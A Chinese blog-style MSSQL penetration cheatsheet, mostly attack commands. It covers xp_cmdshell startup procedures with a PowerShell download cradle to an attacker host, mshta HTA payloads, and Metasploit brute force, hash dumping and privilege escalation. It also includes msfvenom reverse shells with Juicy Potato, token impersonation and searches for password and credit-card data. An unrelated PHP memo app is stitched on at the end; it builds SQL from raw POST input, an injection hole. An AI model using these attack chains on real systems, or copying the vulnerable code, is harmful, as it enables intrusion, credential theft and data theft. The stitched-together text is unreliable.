MSSQL渗透备忘录

MSSQL渗透备忘录

来自GitHubMSSQL-Pentest-Cheatsheet

在此之前简单介绍SQL Server的角色,在SQL Server中分为:

  • 固定服务器级角色帮助管理整个SQL Server实例的权限。不能添加、修改或删除固定服务器角色。另外,只有固定服务器角色的成员才能执行sp_addsrvrolemembersp_dropsrvrolemember系统过程来从角色中添加或删除登录账户。
服务器级的固定角色说明
sysadminsysadmin 固定服务器角色的成员可以在服务器上执行任何活动。
serveradminserveradmin 固定服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。
securityadminsecurityadmin 固定服务器角色的成员可以管理登录名及其属性。 他们可以 GRANTDENYREVOKE 服务器级权限。 他们还可以 GRANTDENYREVOKE 数据库级权限(如果他们具有数据库的访问权限)。 此外,他们还可以重置 SQL Server 登录名的密码。 重要提示: 如果能够授予对 数据库引擎 的访问权限和配置用户权限,安全管理员可以分配大多数服务器权限。 securityadmin 角色应视为与 sysadmin 角色等效。
processadminprocessadmin 固定服务器角色的成员可以终止在 SQL Server 实例中运行的进程。
setupadminsetupadmin 固定服务器角色的成员可以使用 Transact-SQL 语句添加或删除链接服务器。 (使用 Management Studio 时需要 sysadmin 成员资格。)
bulkadminbulkadmin固定服务器角色的成员可以运行BULK INSERT语句。 Linux 上的 SQL Server不支持 bulkadmin 角色或管理BULK OPERATIONS权限。 只有sysadmin才能对Linux上的SQL Server执行批量插入。
diskadmindiskadmin固定服务器角色用于管理磁盘文件。
dbcreatordbcreator 固定服务器角色的成员可以创建、更改、删除和还原任何数据库。
public每个SQL Server登录名都属于public服务器角色。 如果未向服务器主体授予或拒绝对安全对象的特定权限,用户将继承授予对该对象 的公共 权限。 只有在希望所有用户都能使用对象时,才在对象上分配Public权限。 不能更改公共成员身份。 注意:public 与其他角色的实现方式不同,可通过public固定服务器角色授予、拒绝或撤销权限。

详细资料👉Understanding SQL Server fixed server roles

  • 固定数据库级角色public角色是一种特殊的固定数据库角色,数据库的每个合法用户都属于public角色。它为数据库中的用户提供了所有默认权限。

    这样就提供了一种机制,即给予那些没有适当权限的所有用户以一定的(通常是有限的)权限。public角色为数据库中的所有用户都保留了默认的权限,因此是不能被删除的。

固定数据库角色名说明
db_ownerdb_owner固定数据库角色的成员可以执行数据库的所有配置和维护活动,还可以 drop SQL Server 中的数据库。 (在SQL数据库 和Synapse Analytics中,某些维护活动需要服务器级别权限,并且不能由 db_owners 执行。)
db_securityadmindb_securityadmin固定数据库角色的成员可以仅修改自定义角色的角色成员资格和管理权限。 此角色的成员可能会提升其权限,应监视其操作。
db_accessadmindb_accessadmin固定数据库角色的成员可以为 Windows 登录名、Windows 组和 SQL Server 登录名添加或删除数据库访问权限。
db_backupoperatordb_backupoperator固定数据库角色的成员可以备份数据库。
db_ddladmindb_ddladmin固定数据库角色的成员可以在数据库中运行任何数据定义语言 (DDL) 命令。
db_datawriterdb_datawriter固定数据库角色的成员可以在所有用户表中添加、删除或更改数据。
db_datareaderdb_datareader固定数据库角色的成员可以从所有用户表和视图中读取所有数据。 用户对象可能存在于除 sys 和 INFORMATION_SCHEMA 以外的任何架构中 。
db_denydatawriterdb_denydatawriter固定数据库角色的成员不能添加、修改或删除数据库内用户表中的任何数据。
db_denydatareaderdb_denydatareader固定数据库角色的成员不能读取数据库内用户表和视图中的任何数据。详细资料👉Understanding SQL Server fixed database roles

另外SQL Server还内置了几个系统数据库

系统数据库说明
master 数据库记录 SQL Server实例的所有系统级信息。
msdb 数据库用于 SQL Server 代理计划警报和作业。
model 数据库用作 SQL Server实例上创建的所有数据库的模板。 对 model 数据库进行的修改(如数据库大小、排序规则、恢复模式和其他数据库选项)将应用于以后创建的所有数据库。
Resource 数据库一个只读数据库,包含 SQL Server包括的系统对象。 系统对象在物理上保留在 Resource 数据库中,但在逻辑上显示在每个数据库的 sys 架构中。
tempdb 数据库一个工作空间,用于保存临时对象或中间结果集。

详细参考SQL Server用户权限详解

1. 存储过程持久化

MSSQL for Pentester: Stored Procedures Persistence

介绍了利用start-up存储过程。

利用前提

  • 需要sysadmin权限
  • 需要在master数据库使用该存储过程

首先转到master数据库

use master
go

使用nishangInvoke-PowerShellTcpOneLine.ps1

TCP连接的地址改为本机地址,然后启动HTTP监听。

python -m http.server 80

创建存储过程并将其移动到start-up

CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://[ip-address]/Invoke-PowerShellTcpOneLine.ps1'')"'
GO

EXEC sp_procoption @ProcName = 'test_sp'
, @OptionName = 'startup'
, @OptionValue = 'on';

#检查存储过程是否到start-up
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

使用nc监听。

nc -lvnp port

然后使用SQL Server Configuration Manager重启SQL Server,当SQL Server重新启动时将会调用start-up的存储过程。但是奇怪的是我的80端口收到了下载Invoke-PowerShellTcpOneLine.ps1的请求,但是在nc却没有收到shell

2. 滥用链接数据库

MSSQL for Pentester: Abusing Linked Database

这个我曾经在HTB上遇到过Endgame P.O.O,还引用过上面这篇文章🤣介绍了PowerUpSQLMetasploit进行提权。

2.1 寻找链接服务器

Import-Module .\PowerUpSQL.ps1
Get-SQLServerLink -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

当然你也能在SQL Server中查询:

select srvname from sysservers;

2.2 命令执行

首先需要确保xp_cmdshell是开启的,在PowerUpSQL中使用如下命令:

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P********K\SQL****SS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"

开启xp_cmdshell后使用Metasploithta_server模块生成一个URL

use exploit/windows/misc/hta_server
set srvhost eth0
exploit

通过hta_server模块生成一个URL后在PowerUpSQL使用如下命令:

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance  WIN-P********K\SQL****SS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"

然后顺便查了一下这个mshta.exe是什么,mshta.exeとは?因为是日文就简单翻译一下,mshta.exeWindows系统中一个核心可执行文件,用于打开HTAHTMLS类型的文件。

命令执行成功后,msf将会收到一个session

3. 信任滥用

MSSQL for Pentester: Abusing Trustworthy

算是错误配置了,利用前提是在创建该用户时没有勾选Enforce password policy

3.1 在MSSQL中

  1. 查看TRUSTWORTHY属性时候为1
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;
  1. 查找哪些用户是db_owners
SELECT DP1.name AS DatabaseRoleName,  
    isnull (DP2.name, 'No members') AS DatabaseUserName  
FROM sys.database_role_members AS DRM 
RIGHT OUTER JOIN sys.database_principals AS DP1 
    ON DRM.role_principal_id = DP1.principal_id 
LEFT OUTER JOIN sys.database_principals AS DP2 
    ON DRM.member_principal_id = DP2.principal_id 
WHERE DP1.type = 'R'
ORDER BY DP1.name;
  1. 将当前用户模拟为当前数据库的db_owners
EXECUTE AS USER = 'dbo';
SELECT system_user;
  1. 将其提升为sysadmin服务器级用户权限,不过奇怪的是我创建了一个非ad_owners用户一样能升级为sysadmin,我测试的是SQL Server 2019
EXEC sp_addsrvrolemember 'raj','sysadmin';

3.2 使用PowerUpSQL

  1. 确认数据库是否拥有TRUSTWORTHY属性。
Import-Module .\PowerUpSQL.ps1
Invoke-SQLAuditPrivTrustworthy -Username raj -Password Password@1 -Instance WIN-P********K\SQL****SS -Verbose
  1. 当确认拥有TRUSTWORTHY属性后使用如下命令拿到sysadmin权限的shell
Import-Module .\Invoke-SqlServer-Escalate-Dbowner.psm1
Invoke-SqlServer-Escalate-DbOwner -SqlUser raj -SqlPass Password@1 -SqlServerInstance WIN-P********K\SQL****SS

3.3 使用Metasploit

  1. 使用mssql_escalate_dbowner拿到sysadmin权限。
use auxiliary/admin/mssql_escalate_dbowner
set rhosts [ip_address]
set username [username]
set password [password]
exploit
  1. 当拥有sysadmin权限后使用mssql_payload拿到meterpreter session
use exploit/windows/mssql/mssql_payload
set rhosts [ip_address]
set username [username]
set password [password]
exploit

4. 使用扩展脚本执行命令

MSSQL for Pentester: Command Execution with External Scripts

这个利用方式也是在Endgame P.O.O里遇到的,当时用的是Python脚本只想快点拿到flag,就没有太注意还可以使用的R脚本。

查询数据库是否开启扩展脚本。

sp_configure 'external scripts enabled'
GO

如果没有启用扩展脚本的话使用如下命令启动。

EXECUTE sp_configure 'external scripts enabled', 1;
GO
RECONFIGURE;
GO

4.1 使用Python脚本

EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("ipconfig"))'

4.2 使用R脚本

EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c ipconfig",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

5. 模拟

说实话这篇我看的感觉不太懂MSSQL for Pentester: Impersonate不如看SQL Server Impersonation

SQL Server模拟是允许执行用户获得指定user或者login权限的机制,直到Session结束或者设置给了另外一个用户。

利用模拟的前提是执行用户没有勾选Enforce password policy

SQL Server 2005之后增加了2种方式进行模拟

  • EXECUTE AS LOGIN:需要sysadmin权限。
EXECUTE AS LOGIN ='jack'
go
  • EXECUTE AS USER:只要dbo权限。
EXECUTE AS USER ='jack'
go

上述2种方式用于低权限用户模拟高权限用户,同样对应的存在2种方式让高权限用户授予指定低权限用户模拟自己的权限。

  • GRANT IMPERSONATE ON LOGIN::LoginD TO LoginC
  • GRANT IMPERSONATE ON USER::UserB TO UserA

5.1 Metasploit

  1. 首先需要一个用户,可以使用mssql_login模板进行爆破,如果已经有了可以跳过第1步。
use auxiliary/scanner/mssql/mssql_login
set rhosts [ip_address]
set user_file /root/users.txt
set pass_file /root/passwd.txt
set verbose false
exploit
  1. 使用mssql_payload,如果不成功可以使用mssql_escalate_execute_as
use exploit/windows/mssql/mssql_payload
set rhosts [ip_address]
set username [username]
set password [password]
exploit

use auxiliary/widows/mssql/mssql_escalate_execute_as
set rhosts [ip_address]
set username [username]
set password [password]
exploit

如果执行成功那么该用户将成为sysadmin

另外如果mssql_payload执行成功,在msf将会得到一个session,使用whoami /priv查看权限,如果拥有SeImpersonate 或者 SeAssignPrimaryToken 权限则可以使用Juicy Potato进一步提权。

5.2 权限提升

5.2.1 Juicy Potato

1.通过msf生成后门程序

msfvenom -p windows/shell_reverse_tcp lhost=[ip_address] lport=[port] -f exe > backdoor.exe
  1. 上传Juicy Potato和后门程序
cd c:\\Users\\Public
upload /root/Downloads/JuicyPotato.exe .
upload /root/Downloads/backdoor.exe .
  1. 运行下面命令之前需要CLSIDJuicy Potato提供了各种系统版本的CLSID
JuicyPotato.exe -l 8888 -p backdoor.exe -t * -c {CLSID}
  1. 执行成功后使用netcat监听指定端口,权限提升至authority\system
nc -lvnp 8888
5.2.2 Metasploit

另一种方法就是使用Metasploit的扩展incognito

#加载incognito
load incognito

#列出token
list_tokens -u

#模拟AUTHORITY\SYSTEM的token
impersonate_token "NT AUTHORITY\SYSTEM"

shell
whoami

6. Metasploit

MSSQL for Pentester: Metasploit讲解了怎么使用对应的模块对MSSQL进行渗透测试

6.1 信息收集

定位MSSQL服务

使用mssql_ping模块

use auxiliary/scanner/mssql/mssql_ping
set rhosts [ip_address]
exploit

密码爆破

使用mssql_login模块

use auxiliary/scanner/mssql/mssql_login
set rhosts [ip_address]
set user_file /root/users.txt
set verbose false
exploit

获得MSSQL版本信息

使用mssql_sql模块,需要知道一组用户的账号密码。

use auxiliary/admin/mssql/mssql_sql
set rhosts [ip_address]
set username [username]
set password [password]
exploit

获得MSSQL更多信息

使用mssql_enum模块,需要知道一组用户的账号密码。运行成功后可以得到MSSQL的一些配置信息。

use auxiliary/admin/mssql/mssql_enum
set rhosts [ip_address]
set username [username]
set password [password]
exploit

MSSQL用户枚举

使用mssql_enum_sql_login模块。运行成功后可以获得该服务上的登录名

use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts [ip_address]
set username [username]
set password [password]
exploit

捕捉用户登录

可以通过capture/mssql模块伪装成一个MSSQL服务,当有用户尝试对我们进行连接时就可以拿到一组账号密码。

use auxiliary/server/capture/mssql
set srvhost [ip_address]
exploit

Dumping数据库

执行成功后将获得sample_size * keywords条数据

use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts [ip_address]
set username [username]
set password [password]
set sample_size 4
set keywords [Column_name]|[Column_name]|[Column_name]|...
exploit

Dumping架构

执行成功后将获得数据库的架构信息

use auxiliary/scanner/mssql/mssql_schemadump
set rhosts [ip_address]
set username [username]
set password [password]
exploit

Dumping Hash

获取Hash

use auxiliary/scanner/mssql/mssql_hashdump
set rhosts [ip_address]
set username sa
set password [password]
expoit

6.2 命令执行

xp_cmdshell

mssql_payload模块会尝试使用xp_cmdshell建立一个session

MSSQl_exec

使用mssql_exec模块

use auxiliary/admin/mssql/mssql_exec
set rhosts [ip_address]
set username [username]
set password [password]
set cmd "net user"
exploit

创建login

将下列命令写入user.sql,使用mssql_sql_file模块调用user.sql

echo "CREATE LOGIN test1 WITH PASSWORD = 'Password';" > /root/user.sql

#msf
use auxiliary/admin/mssql/mssql_sql_file
set rhosts [ip_address]
set username [username]
set password [password]
set sql_file /root/user.sql
exploit

如果执行成功,我们就会得到一组test1:Password的账号密码。

CLR集成

使用mssql_clr_payload模块

use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set username [username]
set password [password]
exploit

6.3 权限提升

Public到Sysadmin

3.3里的第1步是一样的。

use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts [ip_address]
set username [username]
set password [password]
exploit

另外一种方法就是5.1里的第2步。

use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts [ip_address]
set username [username]
set password [password]
exploit

7. 通过CLR集成命令执行

MSSQL for Pentester: Command Execution with CLR Assembly

第一次见到CLR Assembly,搜了下Microsoft的文档CLR集成的概述

公共语言运行时 (CLR) 是 Microsoft .NET Framework 的核心,它为所有 .NET Framework 代码提供执行环境。 在 CLR 中运行的代码称为托管代码。 CLR 提供执行程序所需的各种函数和服务,包括实时 (JIT) 编译、分配和管理内存、强制类型安全、异常处理、线程管理和安全性。

使用在 Microsoft SQL Server 中驻留的 CLR(称为 CLR 集成),可以在托管代码中编写存储过程、触发器、用户定义函数、用户定义类型和用户定义聚合。

利用条件:

  • 服务器开启CLRIntegration Enabled
  • msdb数据库开启trustworthy属性

通过GUI执行的照着文章做就好了。

7.1 CLI

主要记录如何通过CLI操作

#使用msdb
use msdb

#启动clr
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE
GO

#确认clr是否启动
SELECT * FROM sys.configuration WHERE name = 'clr enabled'

#设置msdb可信任
ALTER DATABASE msdb SET TRUSTWORTHY ON

#确认msdb是否可信任
select name, is_trustworthy_on from sys.databases

然后在本地vs生成DLLDLL代码在这Attacking SQL Server CLR Assemblies

#创建Assembly
CREATE ASSEMBLY shell
FROM 'c:\temp\shell.dll'
WITH PERMISION_SET = UNSAFE;

#创建过程
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec];
GO

#执行命令
cmd_exec 'whoami'

PS:这个方式不懂哪里出了问题,就是出不来。要么是我的问题,要么已经不行了。报错是找不到.NET Framework的组件,但是我明明安装了.NET

7.2 工具

7.2.1 PowerUpSQL
powershell
powershell -ep bypass
cd .\PowerUpSQL-master\
Import-Moduolle .\PowerUpSQL.ps1
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\temp -Verbose

执行后会出现runcmd.cscruncmd.dllruncmd.txt。需要注意的是要给PowerUpSQL.ps1做好免杀,不然会被WD杀掉。

直接复制runcmd.txt里的内容到MSSQL里执行即可。

如果CLRIntegration被关闭了可以使用如下命令,即使CLRIntegration没有启用也同样能奏效。

Invoke-SQLOSCmdCLR -Username sa -Password [Password] -Instance [instance_name] –Command "whoami" -Verbose

#使用面板查看
Get-SQLStoredProcedureCLR -Verbose -Instance [instance_name] -Username sa -Password [passwd] | Out-GridView
7.2.2 Metasploit和PowerUpSQL

hta_server生成URL

use exploit/windows/misc/hta_server
set srvhost *localhost*
exploit

[*] Started reverse TCP handler on [localhost:port]
[*] Using URL: http://[localhost:port]/Hgdhf4Y.hta
[*] Server started.

然后拿着URLpowershell里运行如下命令

Invoke-SQLOSCmdCLR -Username sa -Password [Password] -Instance [instance_name] –Command "mshta.exe http://[localhost:port]/Hgdhf4Y.hta" -Verbose

如果运行成功的话,输入sessions 1即可拿到shell

8. 通过OLE自动化命令执行

MSSQL for Pentester: Command Execution with Ole Automation

8.1 什么是OLE?

OLEObject Linking and Embedding的缩写,Microsoft开发这项技术是为了帮助程序之间更方便的传输数据。

通过这个属性是默认关闭的,可以通过GUICLI来打开。

--查看OLE自动化是否开启
EXEC sp_configure 'Ole Automation Procedures'; 
GO

--开启OLE自动化
sp_configure 'show advanced options', 1; 
GO 
RECONFIGURE; 
GO 
sp_configure 'Ole Automation Procedures', 1; 
GO 
RECONFIGURE; 
GO

不知道为啥hta_server模块老是运行不成功。

9. 探索

MSSQL for Pentester: Discovery

10. xp_cmdshell命令执行

MSSQL for Pentester: Command Execution with xp_cmdshell

xp_cmdshell应该是最广为熟知的命令执行方式了。默认情况下xp_cmdshell是关闭的,开启它需要管理员权限。

开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go

文章之后的部分就是介绍各种工具了,我是mssqlclient.py用的最多。其他的工具就看个人习惯了。

11. Nmap

MSSQL for Pentester: Nmap

Nmap是一组基于luaNSE脚本,可以通过locate *.nse | grep ms-sql查看Nmap有哪些脚本。

# 发现版本信息
nmap -p 1433 --script ms-sql-info [ip_address]

# 凭证爆破
nmap -p1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=pass.txt [ip_address]

# 执行SQL查询
nmap -p1433 --script ms-sql-query --script-args mssql.username=sa,mssql.password=Password@1,ms-sql-query.query="sp_databases" [ip_address]

# 枚举NetBIOS
nmap -p1433 --script ms-sql-ntlm-info [ip_address]

# 密码hash dump,需要适当的特权
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=[passwd] [ip_address]

# 命令执行
nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=[passwd],ms-sql-xp-cmdshell.cmd="net user" [ip_address]

# 空密码登录
nmap -p1433 --script ms-sql-empty-password [ip_address]

# 枚举数据库表
nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=[passwd] [ip_address]

12. 哈希

MSSQL for Pentester: Hashing

通过SQL查询hash

SELECT * FROM sys.sql_logins

select name,password_hash from sys.sql_logins where name='sa'

Nmap

ms-sql-dump-hashes脚本

nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=[passwd] [ip_address]

PowerUpSQL

Import-Module .\PowerUpSQL.ps1
Get-SQLServerPasswordHash -username sa -Password [passwd]  -instance [instance_name] -Verbose

JohnTheRipper

john --format=mssql12 --wordlist=pass hash

13. 扩展存储过程命令执行

Command Execution with Extended Stored Procedures

生成DLL

Import-Module .\Powerupsql.ps1Create-SQLFileXpDll -OutFile E:\xp_calc.dll -Command "calc.exe" -ExportName xp_calc -Verbosepowershell

将其注册到系统,为了创建或注册扩展存储过程,用户登录到数据库的登录名必须是sysadmin固定服务器角色的成员。

通常,扩展存储过程的名称以**xp_sp_**开头,这样,如果用户数据库中没有具有该名称的对象,数据库引擎将自动在主数据库中查找该对象。

Get-SQLQuery -UserName sa -Password [passwd] –Instance [instance_name] –Query "sp_addextendedproc 'xp_calc', '\\[ip_address]\[path]\xp_calc.dll'" -Verbose

就很烦又运行不成功,连上之后就秒断开了。故意输错密码就是直接Connection Failed,密码对的话还会有个Connection Success。不懂是哪里出的问题。

最后只能通过MSSQL添加成功

use master --扩展存储过程只能存储在master数据库
EXEC sp_addextendedproc 'xp_calc', 'e:\xp_calc.dll';

查看已存在的扩展存储过程

Get-SQLStoredProcedureXP -Username sa -Password [passwd] -Instance [instance_name] -Verbose

不过在查Adding an Extended Stored Procedure to SQL Server的时候看到在以后MSSQL将会移除扩展存储过程

14. 提取有用信息

MSSQL for Pentester: Extracting Juicy Information

利用的前提都是需要知道一个具有一定权限的用户账号密码。

提取数据库名

获取能够访问的所有数据库

Get-SQLDatabaseThreaded -Threads 10 -Username sa -Password [passwd] -Instance [instance_name] -verbose | select -ExpandProperty DatabaseName

提取数据库信息

该命令会去寻找符合Keywords的列数据。

Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password [passwd] -Instance [instance_name] -Verbose

提取数据库登录名

此模块将使用SUSER_NAME()并仅使用Public角色根据登录id枚举SQL Server登录。

Import-Module .\PowerUpSQL
Get-SQLFuzzServerLogin -Username sa -Password[passwd] -Instance [instance_name] -verbose
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,以下是一个简单的PHP备忘录源码示例,它使用MySQL数据库来存储备忘录记录: ```php <?php //连接数据库 $servername = "localhost"; $username = "yourusername"; $password = "yourpassword"; $dbname = "yourdbname"; $conn = new mysqli($servername, $username, $password, $dbname); //检查连接 if ($conn->connect_error) { die("连接失败: " . $conn->connect_error); } //如果提交了表单,将数据插入到数据库中 if ($_SERVER["REQUEST_METHOD"] == "POST") { $title = $_POST["title"]; $content = $_POST["content"]; $sql = "INSERT INTO memo (title, content) VALUES ('$title', '$content')"; if ($conn->query($sql) === TRUE) { echo "备忘录记录创建成功"; } else { echo "创建失败: " . $conn->error; } } //从数据库中获取备忘录记录 $sql = "SELECT * FROM memo"; $result = $conn->query($sql); //关闭连接 $conn->close(); ?> <!DOCTYPE html> <html> <head> <title>PHP备忘录</title> </head> <body> <h1>PHP备忘录</h1> <!-- 显示备忘录记录 --> <?php if ($result->num_rows > 0): ?> <ul> <?php while($row = $result->fetch_assoc()): ?> <li> <h2><?php echo $row["title"]; ?></h2> <p><?php echo $row["content"]; ?></p> <p><?php echo $row["created_at"]; ?></p> </li> <?php endwhile; ?> </ul> <?php else: ?> <p>暂无备忘录记录</p> <?php endif; ?> <!-- 创建备忘录记录表单 --> <h2>创建备忘录记录</h2> <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> <label for="title">标题:</label> <input type="text" id="title" name="title"><br><br> <label for="content">内容:</label> <textarea id="content" name="content"></textarea><br><br> <input type="submit" value="提交"> </form> </body> </html> ``` 这段代码包括了两部分:第一部分连接到MySQL数据库,并将提交的备忘录记录插入到 `memo` 表中;第二部分显示已有的备忘录记录,并提供一个表单来创建新的备忘录记录。你需要将 `yourusername`、`yourpassword` 和 `yourdbname` 分别替换为你自己的MySQL用户名、密码和数据库名。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值